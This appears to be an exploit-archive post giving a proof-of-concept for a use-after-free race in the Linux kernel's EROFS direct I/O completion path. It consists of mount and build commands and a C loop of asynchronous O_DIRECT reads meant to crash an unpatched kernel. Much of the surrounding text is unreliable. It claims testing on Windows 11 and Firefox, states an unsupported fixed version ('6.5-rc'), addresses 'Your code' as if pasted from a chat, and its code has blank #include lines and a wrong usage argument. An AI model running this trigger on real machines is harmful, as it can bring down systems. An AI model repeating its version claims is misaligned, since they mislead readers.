============================================================================================================================================= | # Title : Linux Kernel Asynchronous Direct I/O Stress Test on EROFS Race Condition Simulation | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : System built‑in component | ============================================================================================================================================= [+] Summary : code is a Direct I/O stress test on EROFS using asynchronous reads (libaio). It is directly related to a Use-After-Free (UAF) vulnerability in the Linux kernel: The vulnerability occurs when erofs_fileio_rq_submit submits a bio and erofs_fileio_ki_complete frees the request structure (rq) too early, causing a UAF in file_accessed(). Your code triggers the same path by opening a file with O_DIRECT, submitting asynchronous reads, and looping rapidly, creating the timing window needed for the race condition. The patch introduced reference counting in erofs_fileio_rq to prevent the UAF, so the code would no longer cause a crash on a patched kernel. [+] Use: This code is mainly for testing the race condition in a safe environment (e.g., VM or sandbox). The vulnerability was fixed in Linux kernel 6.5-rc and later (or in subsequent stable updates depending on the Linux distribution). [+] POC : sudo apt-get install libaio-dev mkdir -p /mnt/erofs_test mount -t erofs -o loop,directio test.img /mnt/erofs_test gcc poc.c -o poc -laio sudo ./poc /mnt/erofs_test/any_file #define _GNU_SOURCE #include #include #include #include #include #include #define ALIGNMENT 4096 #define READ_SIZE 4096 int main(int argc, char *argv[]) { int fd = -1; io_context_t ctx = 0; void *buf = NULL; int exit_code = 0; if (argc < 2) { fprintf(stderr, "Usage: %s \n", argv[1]); return 1; } fd = open(argv[1], O_RDONLY | O_DIRECT); if (fd < 0) { perror("[-] Error: open (Check if O_DIRECT is supported)"); return 1; } if (posix_memalign(&buf, ALIGNMENT, READ_SIZE) != 0) { perror("[-] Error: posix_memalign"); exit_code = 1; goto cleanup; } if (io_setup(1, &ctx) != 0) { perror("[-] Error: io_setup"); exit_code = 1; goto cleanup; } printf("[+] Starting race condition stress test. Press Ctrl+C to stop.\n"); struct iocb cb; struct iocb *cbs[1]; struct io_event events[1]; while (1) { io_prep_pread(&cb, fd, buf, READ_SIZE, 0); cbs[0] = &cb; int ret = io_submit(ctx, 1, cbs); if (ret != 1) { if (ret < 0) errno = -ret; perror("[-] Error: io_submit"); break; } ret = io_getevents(ctx, 1, 1, events, NULL); if (ret < 0) { perror("[-] Error: io_getevents"); break; } } cleanup: if (ctx) io_destroy(ctx); if (buf) free(buf); if (fd >= 0) close(fd); return exit_code; } Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================